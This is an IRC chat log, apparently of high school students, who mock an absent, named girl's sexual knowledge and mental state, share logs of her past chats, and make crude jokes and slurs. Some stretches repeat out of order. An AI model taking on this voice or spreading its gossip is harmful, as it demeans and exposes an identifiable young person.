[2015-03-24T23:02:58-0400] <alokpathy> 23:02:33 laudiacay | i helped you with your airfoil. talk about airfoils. and CAD. and stencil fonts and laser cutters.
[2015-03-24T23:03:00-0400] <alokpathy> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[2015-03-24T23:03:03-0400] <alokpathy> 23:02:44 laudiacay | thats what we did in class today
[2015-03-24T23:03:06-0400] <jwoglom> oh great
[2015-03-24T23:03:10-0400] <alokpathy> God dammit
[2015-03-24T23:03:13-0400] <bob_twinkles> fuck we just got over the last one of y'all =P
[2015-03-24T23:03:20-0400] <Tamini> oh lord
[2015-03-24T23:03:21-0400] <LittleBobbyTables> 3:03 AM  → BigBobbyTable joined (sid33285@gateway/web/irccloud.com/x-ceezahzrbfpyugdv)
[2015-03-24T23:03:21-0400] <LittleBobbyTables> 3:03 AM Homepage: http://pefoley.com/irc
[2015-03-24T23:03:21-0400] <LittleBobbyTables> 3:03 AM Channel mode is +Ccgns
[2015-03-24T23:03:21-0400] <LittleBobbyTables> 3:03 AM <laudiacay> shit this guy
[2015-03-24T23:03:21-0400] <LittleBobbyTables> 3:03 AM <laudiacay> great
[2015-03-24T23:03:22-0400] <Tamini> LOL
[2015-03-24T23:03:24-0400] <LittleBobbyTables> That was glorious
[2015-03-24T23:03:25-0400] <Tamini> you almost got caught
[2015-03-24T23:03:44-0400] <alokpathy> Tamini: Wait how do I respond to her PM? LOL
[2015-03-24T23:03:54-0400] Mode is +nt
[2015-03-24T23:03:55-0400] <bob_twinkles> alokpathy: /msg or /query
[2015-03-24T23:03:58-0400] <jwoglom> 23:03:42        laudiacay | sdamashek: its so that he can impersonate betar?
[2015-03-24T23:04:01-0400] <alokpathy> bob_twinkles: No not that
[2015-03-24T23:04:03-0400] <alokpathy> I mean like
[2015-03-24T23:04:05-0400] <alokpathy> what do I say LOL
[2015-03-24T23:04:14-0400] <Tamini> oh
[2015-03-24T23:04:15-0400] <bob_twinkles> oh lol
[2015-03-24T23:04:21-0400] <Tamini> sdamashek blew your cover in sekritchan
[2015-03-24T23:04:24-0400] <bob_twinkles> "thanks for the assist, I think I'm good?"
[2015-03-24T23:04:28-0400] <alokpathy> WAT
[2015-03-24T23:04:33-0400] <sdamashek> in sekritchan, not #tjhsst
[2015-03-24T23:04:41-0400] <sdamashek> don't worry
[2015-03-24T23:04:42-0400] <alokpathy> Is laudiacay in that?
[2015-03-24T23:05:01-0400] <alokpathy> 23:03:58 laudiacay | so that you can impersonate :3
[2015-03-24T23:05:04-0400] <sdamashek> yes
[2015-03-24T23:05:05-0400] <alokpathy> I think she knows?
[2015-03-24T23:05:07-0400] <alokpathy> Oh okay
[2015-03-24T23:05:11-0400] <LittleBobbyTables> confirmed, claudia likes pedophiles
[2015-03-24T23:05:19-0400] <jwoglom> well all we'd have to worry about is nickthename with sdamashek mentioning it in sekritchan
[2015-03-24T23:05:37-0400] <bob_twinkles> wait actually can you explain that LittleBobbyTables?
[2015-03-24T23:05:44-0400] <bob_twinkles> like, everyone here thinks your chill
[2015-03-24T23:05:58-0400] <LittleBobbyTables> Uhh
[2015-03-24T23:05:58-0400] <bob_twinkles> but somehow in TJ circles you have a repuation for being a like 40 year old pedophile
[2015-03-24T23:06:05-0400] <LittleBobbyTables> ask tamini about that
[2015-03-24T23:06:06-0400] <LittleBobbyTables> lol
[2015-03-24T23:06:13-0400] <LittleBobbyTables> it's 100% her fault
[2015-03-24T23:06:22-0400] <bob_twinkles> I thought it was probably overly effective trolling lol
[2015-03-24T23:06:28-0400] <LittleBobbyTables> She always mentioned me being "something like 42"
[2015-03-24T23:06:32-0400] <LittleBobbyTables> So I just started playing along with it.
[2015-03-24T23:06:53-0400] <Tamini> wait im pretty sure
[2015-03-24T23:06:59-0400] <Tamini> nickthename wont blow this will he
[2015-03-24T23:07:00-0400] <Tamini> and LOL
[2015-03-24T23:07:04-0400] <Tamini> 47, yo
[2015-03-24T23:07:12-0400] <Tamini> i've been making fun of him because 19 == 47
[2015-03-24T23:07:26-0400] <alokpathy> Oh nickthenick's also in sekritchan?
[2015-03-24T23:07:39-0400] <jwoglom> uh what
[2015-03-24T23:07:41-0400] <jwoglom> ahamilto left tjhsst
[2015-03-24T23:07:43-0400] <bob_twinkles> in base 36 sure
[2015-03-24T23:07:44-0400] <jwoglom> what happened
[2015-03-24T23:07:51-0400] <jwoglom> how did we do this
[2015-03-24T23:08:26-0400] <bob_twinkles> actually 36 is a pretty reasonable base
[2015-03-24T23:08:29-0400] <bob_twinkles> I'll accept that
[2015-03-24T23:08:45-0400] <bob_twinkles> there's something that uses base36 ASCII encoding, but I can't remember what it is off the top of my head...
[2015-03-24T23:09:42-0400] <sdamashek> alokpathy: you have now been introduced to what the natives call a "claudia shitstorm"
[2015-03-24T23:09:53-0400] <sdamashek> it is a common occurance in the land of #tjhsst.
[2015-03-24T23:10:03-0400] <LittleBobbyTables> I'm surprised a lot of them don't remember me.
[2015-03-24T23:10:15-0400] <LittleBobbyTables> I caused quite a bit of drama last time I joined lol
[2015-03-24T23:10:41-0400] <alokpathy> sdamashek: This is an interesting part of your culture :P
[2015-03-24T23:10:51-0400] <sdamashek> this one isn't very bad
[2015-03-24T23:11:29-0400] <bob_twinkles> yeah everyone's still recovering from the shitstorm of the *last* 30 minutes
[2015-03-24T23:11:34-0400] <bob_twinkles> this one hasn't steamrolled yet
[2015-03-24T23:11:50-0400] <LittleBobbyTables> What previously happened
[2015-03-24T23:11:51-0400] <sdamashek> alokpathy: http://srepetsk.net/qdb-afterdark.txt
[2015-03-24T23:11:53-0400] <sdamashek> read it
[2015-03-24T23:12:09-0400] <jwoglom> the original!
[2015-03-24T23:12:16-0400] <sdamashek> the opening line:
[2015-03-24T23:12:18-0400] <sdamashek> 22:06:39 < laudiacay_mobile> Hugs are great.
[2015-03-24T23:12:20-0400] <sdamashek> 22:06:46 < `bjones> truth
[2015-03-24T23:12:22-0400] <sdamashek> 22:06:51 < balink> == srepetsk
[2015-03-24T23:12:23-0400] <jwoglom> please don't share that very far though
[2015-03-24T23:12:24-0400] <sdamashek> 22:06:51 < csssuf> so is vaginal intercourse
[2015-03-24T23:12:27-0400] <sdamashek> yeah
[2015-03-24T23:12:33-0400] <jwoglom> http://srepetsk.net/qdb-afterdark2.txt as well
[2015-03-24T23:12:55-0400] <sdamashek> yeah, the second one is where she thinks circumcision causes autism
[2015-03-24T23:13:17-0400] <bob_twinkles> ... or something like that
[2015-03-24T23:13:21-0400] <bob_twinkles> sometimes it's hard to follow
[2015-03-24T23:13:28-0400] <sdamashek> the first is where she went on about how women never orgasm and never enjoy sex
[2015-03-24T23:14:11-0400] <LittleBobbyTables> Oh man is that ever wrong.
[2015-03-24T23:14:24-0400] <alokpathy> This is hilarious LOL
[2015-03-24T23:14:33-0400] <sdamashek> I was laughing so hard
[2015-03-24T23:14:35-0400] <Tamini> its actually kinda sad.
[2015-03-24T23:14:39-0400] <bob_twinkles> == Tamini 
[2015-03-24T23:14:53-0400] <bob_twinkles> at some point she had a Bad Time and #tjhsst is _not_ good at dealing with that shit
[2015-03-24T23:15:09-0400] <sdamashek> also zeal's wrap analogy
[2015-03-24T23:15:16-0400] <sdamashek> bob_twinkles: this is true
[2015-03-24T23:15:26-0400] <Tamini> she did overreact quite a bit
[2015-03-24T23:15:31-0400] <jwoglom> zeal, lol
[2015-03-24T23:16:06-0400] <alokpathy> Sex-ed isn't working for her xD
[2015-03-24T23:16:12-0400] <sdamashek> nope.
[2015-03-24T23:16:24-0400] <bob_twinkles> she's an army brat so... who knows that that was like
[2015-03-24T23:16:59-0400] <LittleBobbyTables> 22:20:54 < laudiacay_mobile> You are all virgins this is ironic
[2015-03-24T23:17:15-0400] <sdamashek> hitting us where it hurts
[2015-03-24T23:17:25-0400] <sdamashek> :P
[2015-03-24T23:18:10-0400] <bob_twinkles> ow my pride?
[2015-03-24T23:18:12-0400] <LittleBobbyTables> Let's be honest. At that high school, of people hanging out in IRC that much, it's bound to be true.
[2015-03-24T23:18:14-0400] <Tamini> well i mean
[2015-03-24T23:18:19-0400] <Tamini> to be honest, it's probably true :P
[2015-03-24T23:18:21-0400] <Tamini> ^
[2015-03-24T23:19:12-0400] <alokpathy> 22:23:17 < creffett> I'll just go find a couple girls in 2011 who had interesting reputations
[2015-03-24T23:19:14-0400] <alokpathy> ?
[2015-03-24T23:19:24-0400] <jwoglom> he's a class of 2011 graduate
[2015-03-24T23:19:24-0400] <LittleBobbyTables> sluts
[2015-03-24T23:19:29-0400] <alokpathy> Oh LOL
[2015-03-24T23:20:06-0400] <Tamini> lolol
[2015-03-24T23:20:07-0400] <Tamini> oh lord
[2015-03-24T23:20:29-0400] <LittleBobbyTables> Ok I got bored of reading that.
[2015-03-24T23:20:51-0400] <LittleBobbyTables> It's pretty much "grills can orgasm, but can't (often) ejaculate, and you're a dummy here's proof"
[2015-03-24T23:21:08-0400] <bob_twinkles> repeat ad infinitum
[2015-03-24T23:21:11-0400] <bob_twinkles> yep
[2015-03-24T23:21:12-0400] <Tamini> oh lord
[2015-03-24T23:21:16-0400] <Tamini> what is this #tjhsst discussion rn
[2015-03-24T23:21:51-0400] <alokpathy> wtf is happening LOL
[2015-03-24T23:21:53-0400] <jwoglom> claudia what even
[2015-03-24T23:22:11-0400] <jwoglom> i'm getting more and more convinced that her whole "ewww sex" thing is just an elaborate act
[2015-03-24T23:22:39-0400] <sdamashek> it's very weird
[2015-03-24T23:22:41-0400] <LittleBobbyTables> She definitely doesn't seem the type to have had it, but definitely isn't against the idea.
[2015-03-24T23:22:59-0400] <jwoglom> idk, she's mentioned some of her weird past boyfriends..
[2015-03-24T23:23:13-0400] <jwoglom> there were apparently some large age differences
[2015-03-24T23:23:32-0400] <sdamashek> I can't disclose much beyond that at least one professional agrees with the elaborate act thing
[2015-03-24T23:24:04-0400] <Tamini> she's very ambiguous
[2015-03-24T23:24:12-0400] <Tamini> especially since i'm pretty sure she's more experienced than all of that channel
[2015-03-24T23:24:14-0400] <alokpathy> This chick seems cray
[2015-03-24T23:24:21-0400] <sdamashek> Tamini: kind of
[2015-03-24T23:24:30-0400] <LittleBobbyTables> tamini pls
[2015-03-24T23:24:34-0400] <LittleBobbyTables> I'm in there
[2015-03-24T23:24:50-0400] <Tamini> oh, right
[2015-03-24T23:24:52-0400] <Tamini> except you
[2015-03-24T23:24:53-0400] <LittleBobbyTables> I'm confused though, how can she think circumcision causes autism
[2015-03-24T23:25:02-0400] <jwoglom> who even knows
[2015-03-24T23:25:10-0400] <jwoglom> i think she might have been legitimately asking?
[2015-03-24T23:25:12-0400] <sdamashek> she was
[2015-03-24T23:25:17-0400] <sdamashek> she had no idea what circumcision was
[2015-03-24T23:25:20-0400] <jwoglom> because jcotton posted a link and facepalmed
[2015-03-24T23:25:22-0400] <sdamashek> she also thought guys had one testicle
[2015-03-24T23:25:41-0400] <alokpathy> Did she even go through sex-ed?
[2015-03-24T23:25:50-0400] <sdamashek> most of her schooling was in belgium
[2015-03-24T23:25:50-0400] <LittleBobbyTables> sdamashek: Hitler did
[2015-03-24T23:25:55-0400] <LittleBobbyTables> I also know a guy IRL who only has one
[2015-03-24T23:25:56-0400] <jwoglom> alokpathy: i don't think she ever did
[2015-03-24T23:25:57-0400] <sdamashek> lol what
[2015-03-24T23:26:03-0400] <jwoglom> she was in like..7 schools over 8 years?
[2015-03-24T23:26:09-0400] <sdamashek> mhm
[2015-03-24T23:26:26-0400] <sdamashek> then there's FCPS which has you watch a video of a birth in class
[2015-03-24T23:26:42-0400] <jwoglom> did you ever watch a video in 8th grade
[2015-03-24T23:26:46-0400] <jwoglom> about a creepy molestor uncle
[2015-03-24T23:26:50-0400] <sdamashek> FCPS's sex-ed is actually like pretty good
[2015-03-24T23:26:53-0400] <sdamashek> jwoglom: homeschooled :P
[2015-03-24T23:26:55-0400] <alokpathy> jwoglom: wat
[2015-03-24T23:27:04-0400] <jwoglom> oh yeah. silly me
[2015-03-24T23:27:13-0400] <sdamashek> let this be a lesson, homeschoolers /don't/ have to be sexually clueless
[2015-03-24T23:27:14-0400] <jwoglom> yeah they start sex ed in 6th grade
[2015-03-24T23:27:22-0400] <alokpathy> sdamashek: How are you liking actual school? :P
[2015-03-24T23:27:26-0400] <sdamashek> I actually did sex-ed through my church
[2015-03-24T23:27:33-0400] <jwoglom> actually, 5th grade, now that i think about it
[2015-03-24T23:27:34-0400] <sdamashek> they have an awesome program
[2015-03-24T23:27:42-0400] <sdamashek> alokpathy: it's not bad
[2015-03-24T23:27:45-0400] <jwoglom> although they didn't really talk about much in 5th or 6th
[2015-03-24T23:28:59-0400] <sdamashek> TJ teachers range from insane to amazing though
[2015-03-24T23:29:05-0400] <Tamini> i never watched that video
[2015-03-24T23:29:05-0400] <Tamini> omg
[2015-03-24T23:29:12-0400] <Tamini> jwoglom: you were in my class for that video
[2015-03-24T23:29:16-0400] <sdamashek> Tamini: which one
[2015-03-24T23:29:20-0400] <Tamini> you saw me hiding behind talljames the whole time
[2015-03-24T23:29:21-0400] <jwoglom> Tamini: wait, when was this?
[2015-03-24T23:29:24-0400] <Tamini> sdamashek: the birth video.
[2015-03-24T23:29:25-0400] <LittleBobbyTables> My sexed teacher was like "ya'll probably wanna sex, but here's some STDs"
[2015-03-24T23:29:32-0400] <Tamini> I'm pretty sure half the girls in my class decided they never wanted kids.
[2015-03-24T23:29:34-0400] <jwoglom> Tamini: freshman or soph year?
[2015-03-24T23:29:34-0400] <sdamashek> Tamini: ah
[2015-03-24T23:29:38-0400] <Tamini> jwoglom: ibet
[2015-03-24T23:29:41-0400] <LittleBobbyTables> 3:29 AM •sdrodge quieted BigBobbyTable!*@* (+q)
[2015-03-24T23:29:43-0400] <LittleBobbyTables> WOW SO MEAN
[2015-03-24T23:29:44-0400] <jwoglom> oohhh. bio.
[2015-03-24T23:29:50-0400] <sdamashek> freshman bio
[2015-03-24T23:30:08-0400] <alokpathy> My 8th grade sexed teacher gave us an elaborate plan in case we wanted to buy condoms without our parents knowing lol
[2015-03-24T23:30:18-0400] <jwoglom> Tamini: i mean, you were in the same room as I was, obviously, but i didn't really know you that well and definately didn't remember what you were doing then lol
[2015-03-24T23:30:33-0400] <Tamini> alokpathy: wait
[2015-03-24T23:30:35-0400] <Tamini> i want to know this
[2015-03-24T23:30:35-0400] <Tamini> tell me
[2015-03-24T23:30:44-0400] <alokpathy> I mean, it's only applicable where we live
[2015-03-24T23:30:50-0400] <LittleBobbyTables> Why did I get quieted
[2015-03-24T23:30:55-0400] <alokpathy> Basically there's a store that sells condoms near the Princeton library
[2015-03-24T23:30:55-0400] <LittleBobbyTables> This is racism
[2015-03-24T23:31:01-0400] <bob_twinkles> I think that sex ed video might have been the first thing I slept through in school
[2015-03-24T23:31:04-0400] <bob_twinkles> it was totally an accident too
[2015-03-24T23:31:07-0400] <alokpathy> so tell our parents to drop us off at the Princeton library so we could do work
[2015-03-24T23:31:10-0400] <alokpathy> go and buy condoms
[2015-03-24T23:31:18-0400] <bob_twinkles> LittleBobbyTables: nah, sdrodge is usually more chill he's just salty as hell today for some reason
[2015-03-24T23:31:22-0400] <alokpathy> and basically just hide them
[2015-03-24T23:31:32-0400] <alokpathy> and she told us where to hide them, but I forgot xd
[2015-03-24T23:31:32-0400] <LittleBobbyTables> bob_twinkles: it's because I'm black, isn't it
[2015-03-24T23:31:39-0400] <LittleBobbyTables> alokpathy: in your pants.
[2015-03-24T23:31:45-0400] <bob_twinkles> LittleBobbyTables: you're probably lime green or something like that actually
[2015-03-24T23:31:46-0400] <alokpathy> LittleBobbyTables: Nice LOL
[2015-03-24T23:31:50-0400] <Tamini> bob_twinkles: sleep > hormones?
[2015-03-24T23:31:52-0400] <Tamini> you're doing it wrong
[2015-03-24T23:32:09-0400] <bob_twinkles> Tamini: tell me about it >_>
[2015-03-24T23:32:13-0400] <bob_twinkles> what even is a grill
[2015-03-24T23:32:23-0400] <LittleBobbyTables> bob_twinkles: so now he's limist?
[2015-03-24T23:32:30-0400] <bob_twinkles> yah
[2015-03-24T23:32:34-0400] <jwoglom> bob_twinkles? sleep? :P
[2015-03-24T23:32:38-0400] <bob_twinkles> he had a bad experience earlier today
[2015-03-24T23:32:49-0400] <bob_twinkles> involving limes
[2015-03-24T23:32:52-0400] <bob_twinkles> and alcohol
[2015-03-24T23:33:03-0400] <LittleBobbyTables> Damn
[2015-03-24T23:34:14-0400] <+awe> [23:30:55]  <alokpathy>	Basically there's a store that sells condoms near the Princeton library
[2015-03-24T23:34:29-0400] <bob_twinkles> /s (in case that wasn't obvious, I have no idea why he's mad)
[2015-03-24T23:34:38-0400] <LittleBobbyTables> incoming ban?
[2015-03-24T23:34:44-0400] <+awe> alokpathy: HiTOPS is not a store. It's a mental and sexual health clinic. They offer free condoms.
[2015-03-24T23:34:47-0400] <LittleBobbyTables> caclled it
[2015-03-24T23:35:01-0400] <alokpathy> awe: Oh, okay.
[2015-03-24T23:35:17-0400] <sdamashek> I think I got condoms from our church anyways
[2015-03-24T23:35:23-0400] <sdamashek> but they were expired
[2015-03-24T23:35:29-0400] <sdamashek> but we still put them on bananas
[2015-03-24T23:35:33-0400] <LittleBobbyTables> Isn't church more of an "abstinence only pls and ty" thing
[2015-03-24T23:35:34-0400] <sdamashek> that was a lot of fun
[2015-03-24T23:35:40-0400] <+awe> LittleBobbyTables: depends on the church.
[2015-03-24T23:35:42-0400] <sdamashek> LittleBobbyTables: not mine
[2015-03-24T23:35:47-0400] <+awe> LittleBobbyTables: UU churches are p progressive.
[2015-03-24T23:35:54-0400] <sdamashek> yeah, I went to a UU church
[2015-03-24T23:35:55-0400] • awe: hopes that sdamashek is a UU.
[2015-03-24T23:35:57-0400] <+awe> YES
[2015-03-24T23:36:00-0400] <sdamashek> <3 awe 
[2015-03-24T23:36:05-0400] <LittleBobbyTables> bob_twinkles: I wonder what would happen if I change my nick to something else and just AFK in that channel.
[2015-03-24T23:36:31-0400] <jwoglom> heh, some guess you made there awe :P
[2015-03-24T23:36:31-0400] <sdamashek> the whole UU organization is amazing
[2015-03-24T23:36:48-0400] <+awe> jwoglom: Not sure if sarcasm.
[2015-03-24T23:36:52-0400] <bob_twinkles> LittleBobbyTables: gotta join at like 0300 or so when nobody is online
[2015-03-24T23:36:55-0400] <bob_twinkles> with a hostmask
[2015-03-24T23:36:56-0400] <+awe> jwoglom: I was guessing he was UU before he even said it. :p
[2015-03-24T23:37:04-0400] <bob_twinkles> as something that could reasonably be approximated as a TJ username
[2015-03-24T23:37:09-0400] <bob_twinkles> (first initial)(last name) that is
[2015-03-24T23:37:10-0400] <LittleBobbyTables> hostmask is too much effort
[2015-03-24T23:37:25-0400] <jwoglom> i don't know anything about the organization or it's doctrine, just surprised you were able to tell without him mentioning it heh
[2015-03-24T23:38:03-0400] <sdamashek> well UU accepts anybody regardless of faith or beliefs, and basically is just focused on spiritual worship and learning
[2015-03-24T23:38:18-0400] <sdamashek> without following a specific locked down curriculum
[2015-03-24T23:38:47-0400] <+awe> ^
[2015-03-24T23:38:53-0400] <+awe> which is how I figured
[2015-03-24T23:39:06-0400] <jwoglom> makes sense i suppose
[2015-03-24T23:39:11-0400] <+awe> You don't even really have to believe in God to go to a UU church.
[2015-03-24T23:39:15-0400] <sdamashek> mhm
[2015-03-24T23:39:36-0400] <sdamashek> big about LGBT rights also
[2015-03-24T23:40:43-0400] <+awe> For anyone who doesn't actually know what UU stands for, it's unitarian universalism.
[2015-03-24T23:40:46-0400] <Tamini> alokpathy: since i dont know how to acquire any
[2015-03-24T23:40:50-0400] <Tamini> want to bring me some to korea ;) 
[2015-03-24T23:40:52-0400] <Tamini> jk, jk
[2015-03-24T23:41:46-0400] <sdamashek> yeah, something about uniting everybody regardless of beliefs
[2015-03-24T23:41:56-0400] <alokpathy> I think I'm good :P
[2015-03-24T23:42:50-0400] <sdamashek> awe: planned parenthood also gives out free condoms, right?
[2015-03-24T23:42:56-0400] <+awe> Yup!
[2015-03-24T23:43:03-0400] <LittleBobbyTables> That seems counter intuitive.
[2015-03-24T23:43:13-0400] <sdamashek> lol, I suppose so
[2015-03-24T23:43:17-0400] <+awe> Planned Parenthood advocates for pregnancy being planned.
[2015-03-24T23:43:25-0400] <+awe> A part of that means fighting against unplanned pregnancy.
[2015-03-24T23:43:29-0400] <+awe> It's not counter-intuitive at all.
[2015-03-24T23:43:52-0400] <sdamashek> at first glance it kinda of is, but when you look at their mission, yeah
[2015-03-24T23:43:55-0400] <jwoglom> it wouldn't exactly make sense otherwise, lol
[2015-03-24T23:44:17-0400] <sdamashek> also like there's almost definitely a convenience store you could go to and get condoms
[2015-03-24T23:44:25-0400] <+awe> Oh, yeah. Of course.
[2015-03-24T23:44:30-0400] <+awe> Condoms are very, very available.
[2015-03-24T23:44:31-0400] <jwoglom> teenage awkwardness tho
[2015-03-24T23:44:49-0400] <Tamini> i'm not going to go looking for condoms. 
[2015-03-24T23:44:50-0400] <Tamini> >_>
[2015-03-24T23:44:52-0400] <Tamini> no thank you
[2015-03-24T23:45:00-0400] <+awe> jwoglom: Just buy condoms, and two items that would be really weird to use with condoms and then slam them proudly on the counter when you go to pay.
[2015-03-24T23:45:17-0400] <sdamashek> you don't have to go looking for condoms :P
[2015-03-24T23:45:21-0400] <sdamashek> also what awe said
[2015-03-24T23:45:22-0400] <+awe> jwoglom: for example, condoms, a tire jack, and 25ft of rope.
[2015-03-24T23:45:34-0400] <sdamashek> awe: who says I couldn't use 25 ft of rope ;)
[2015-03-24T23:45:48-0400] <jwoglom> awe: heh, interesting combination of items there
[2015-03-24T23:45:55-0400] <Tamini> i mean
[2015-03-24T23:45:58-0400] <Tamini> if that's what you're into...
[2015-03-24T23:46:00-0400] <+awe> I didn't say you couldn't use it. It's just fun because then you get to play with what the cashier thinks of you. ;)
[2015-03-24T23:46:18-0400] <sdamashek> lol
[2015-03-24T23:46:30-0400] <+awe> Or just buy a box of condoms and nothing else.
[2015-03-24T23:46:32-0400] <sdamashek> this reminds me of the whole BDSM conversation with claudia
[2015-03-24T23:46:46-0400] <+awe> Honestly, what makes it obvious you're embarrassed about it is when you purchase a pack of gum and some other totally benign stuff.
[2015-03-24T23:46:47-0400] <sdamashek> did we get that in a qdb
[2015-03-24T23:46:53-0400] <jwoglom> awe: lol yep
[2015-03-24T23:47:06-0400] <+awe> If you just buy a box, everyone knows you're doing it.
[2015-03-24T23:47:10-0400] <+awe> It's no big deal.
[2015-03-24T23:48:05-0400] <jwoglom> ok my freenode connection, ugh
[2015-03-24T23:48:40-0400] <sdamashek> jwoglom: lol
[2015-03-24T23:48:43-0400] <sdamashek> verizon?
[2015-03-24T23:48:54-0400] <Tamini> iunno, though
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[2015-03-24T23:49:20-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-24T23:38:53-0400] <+awe> which is how I figured
[2015-03-24T23:39:06-0400] <jwoglom> makes sense i suppose
[2015-03-24T23:39:11-0400] <+awe> You don't even really have to believe in God to go to a UU church.
[2015-03-24T23:39:14-0400] <sdamashek> mhm
[2015-03-24T23:39:36-0400] <sdamashek> big about LGBT rights also
[2015-03-24T23:40:43-0400] <+awe> For anyone who doesn't actually know what UU stands for, it's unitarian universalism.
[2015-03-24T23:40:46-0400] <Tamini> alokpathy: since i dont know how to acquire any
[2015-03-24T23:40:50-0400] <Tamini> want to bring me some to korea ;) 
[2015-03-24T23:40:52-0400] <Tamini> jk, jk
[2015-03-24T23:41:46-0400] <sdamashek> yeah, something about uniting everybody regardless of beliefs
[2015-03-24T23:41:56-0400] <alokpathy> I think I'm good :P
[2015-03-24T23:42:50-0400] <sdamashek> awe: planned parenthood also gives out free condoms, right?
[2015-03-24T23:42:56-0400] <+awe> Yup!
[2015-03-24T23:43:03-0400] <LittleBobbyTables> That seems counter intuitive.
[2015-03-24T23:43:13-0400] <sdamashek> lol, I suppose so
[2015-03-24T23:43:16-0400] <+awe> Planned Parenthood advocates for pregnancy being planned.
[2015-03-24T23:43:25-0400] <+awe> A part of that means fighting against unplanned pregnancy.
[2015-03-24T23:43:29-0400] <+awe> It's not counter-intuitive at all.
[2015-03-24T23:43:52-0400] <sdamashek> at first glance it kinda of is, but when you look at their mission, yeah
[2015-03-24T23:43:55-0400] <jwoglom> it wouldn't exactly make sense otherwise, lol
[2015-03-24T23:44:17-0400] <sdamashek> also like there's almost definitely a convenience store you could go to and get condoms
[2015-03-24T23:44:25-0400] <+awe> Oh, yeah. Of course.
[2015-03-24T23:44:30-0400] <+awe> Condoms are very, very available.
[2015-03-24T23:44:31-0400] <jwoglom> teenage awkwardness tho
[2015-03-24T23:44:49-0400] <Tamini> i'm not going to go looking for condoms. 
[2015-03-24T23:44:50-0400] <Tamini> >_>
[2015-03-24T23:44:52-0400] <Tamini> no thank you
[2015-03-24T23:45:00-0400] <+awe> jwoglom: Just buy condoms, and two items that would be really weird to use with condoms and then slam them proudly on the counter when you go to pay.
[2015-03-24T23:45:17-0400] <sdamashek> you don't have to go looking for condoms :P
[2015-03-24T23:45:21-0400] <sdamashek> also what awe said
[2015-03-24T23:45:22-0400] <+awe> jwoglom: for example, condoms, a tire jack, and 25ft of rope.
[2015-03-24T23:45:33-0400] <sdamashek> awe: who says I couldn't use 25 ft of rope ;)
[2015-03-24T23:45:48-0400] <jwoglom> awe: heh, interesting combination of items there
[2015-03-24T23:45:55-0400] <Tamini> i mean
[2015-03-24T23:45:58-0400] <Tamini> if that's what you're into...
[2015-03-24T23:45:59-0400] <+awe> I didn't say you couldn't use it. It's just fun because then you get to play with what the cashier thinks of you. ;)
[2015-03-24T23:46:18-0400] <sdamashek> lol
[2015-03-24T23:46:30-0400] <+awe> Or just buy a box of condoms and nothing else.
[2015-03-24T23:46:32-0400] <sdamashek> this reminds me of the whole BDSM conversation with claudia
[2015-03-24T23:46:46-0400] <+awe> Honestly, what makes it obvious you're embarrassed about it is when you purchase a pack of gum and some other totally benign stuff.
[2015-03-24T23:46:47-0400] <sdamashek> did we get that in a qdb
[2015-03-24T23:46:53-0400] <jwoglom> awe: lol yep
[2015-03-24T23:47:06-0400] <+awe> If you just buy a box, everyone knows you're doing it.
[2015-03-24T23:47:10-0400] <+awe> It's no big deal.
[2015-03-24T23:48:05-0400] <jwoglom> ok my freenode connection, ugh
[2015-03-24T23:48:40-0400] <sdamashek> jwoglom: lol
[2015-03-24T23:48:43-0400] <sdamashek> verizon?
[2015-03-24T23:48:54-0400] <Tamini> iunno, though
[2015-03-24T23:48:58-0400] <jwoglom> well i'm connected to pdgn and freenode
[2015-03-24T23:49:17-0400] <jwoglom> and in #tjhsst and #sekritchan, i'll get no inbound messages for like 5 minutes
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[2015-03-24T23:49:23-0400] <jwoglom> then in a span of 2-3 seconds i'll get 50 lines
[2015-03-24T23:50:34-0400] <+awe> jwoglom: at least pdgn is fast, right? ;)
[2015-03-24T23:50:52-0400] <jwoglom> yup, ty for running a good network awe :)
[2015-03-24T23:51:02-0400] <+awe> you're welcome :)
[2015-03-24T23:51:03-0400] <jwoglom> if i didn't have pdgn to compare with i'd think verizon was doing weird shit
[2015-03-24T23:53:11-0400] <alokpathy> jwoglom: Lol, that happened to me, too.
[2015-03-24T23:54:08-0400] <jwoglom> alokpathy: i'm on the "tepper" freenode server, can you check which one you're connected to?
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[2015-03-25T00:06:04-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-24T23:44:30-0400] <+awe> Condoms are very, very available.
[2015-03-24T23:44:31-0400] <jwoglom> teenage awkwardness tho
[2015-03-24T23:44:49-0400] <Tamini> i'm not going to go looking for condoms. 
[2015-03-24T23:44:50-0400] <Tamini> >_>
[2015-03-24T23:44:52-0400] <Tamini> no thank you
[2015-03-24T23:45:00-0400] <+awe> jwoglom: Just buy condoms, and two items that would be really weird to use with condoms and then slam them proudly on the counter when you go to pay.
[2015-03-24T23:45:17-0400] <sdamashek> you don't have to go looking for condoms :P
[2015-03-24T23:45:21-0400] <sdamashek> also what awe said
[2015-03-24T23:45:22-0400] <+awe> jwoglom: for example, condoms, a tire jack, and 25ft of rope.
[2015-03-24T23:45:33-0400] <sdamashek> awe: who says I couldn't use 25 ft of rope ;)
[2015-03-24T23:45:48-0400] <jwoglom> awe: heh, interesting combination of items there
[2015-03-24T23:45:55-0400] <Tamini> i mean
[2015-03-24T23:45:58-0400] <Tamini> if that's what you're into...
[2015-03-24T23:45:59-0400] <+awe> I didn't say you couldn't use it. It's just fun because then you get to play with what the cashier thinks of you. ;)
[2015-03-24T23:46:18-0400] <sdamashek> lol
[2015-03-24T23:46:30-0400] <+awe> Or just buy a box of condoms and nothing else.
[2015-03-24T23:46:32-0400] <sdamashek> this reminds me of the whole BDSM conversation with claudia
[2015-03-24T23:46:46-0400] <+awe> Honestly, what makes it obvious you're embarrassed about it is when you purchase a pack of gum and some other totally benign stuff.
[2015-03-24T23:46:47-0400] <sdamashek> did we get that in a qdb
[2015-03-24T23:46:53-0400] <jwoglom> awe: lol yep
[2015-03-24T23:47:06-0400] <+awe> If you just buy a box, everyone knows you're doing it.
[2015-03-24T23:47:10-0400] <+awe> It's no big deal.
[2015-03-24T23:48:05-0400] <jwoglom> ok my freenode connection, ugh
[2015-03-24T23:48:40-0400] <sdamashek> jwoglom: lol
[2015-03-24T23:48:43-0400] <sdamashek> verizon?
[2015-03-24T23:48:54-0400] <Tamini> iunno, though
[2015-03-24T23:48:58-0400] <jwoglom> well i'm connected to pdgn and freenode
[2015-03-24T23:49:17-0400] <jwoglom> and in #tjhsst and #sekritchan, i'll get no inbound messages for like 5 minutes
[2015-03-24T23:49:22-0400] <jwoglom> then in a span of 2-3 seconds i'll get 50 lines
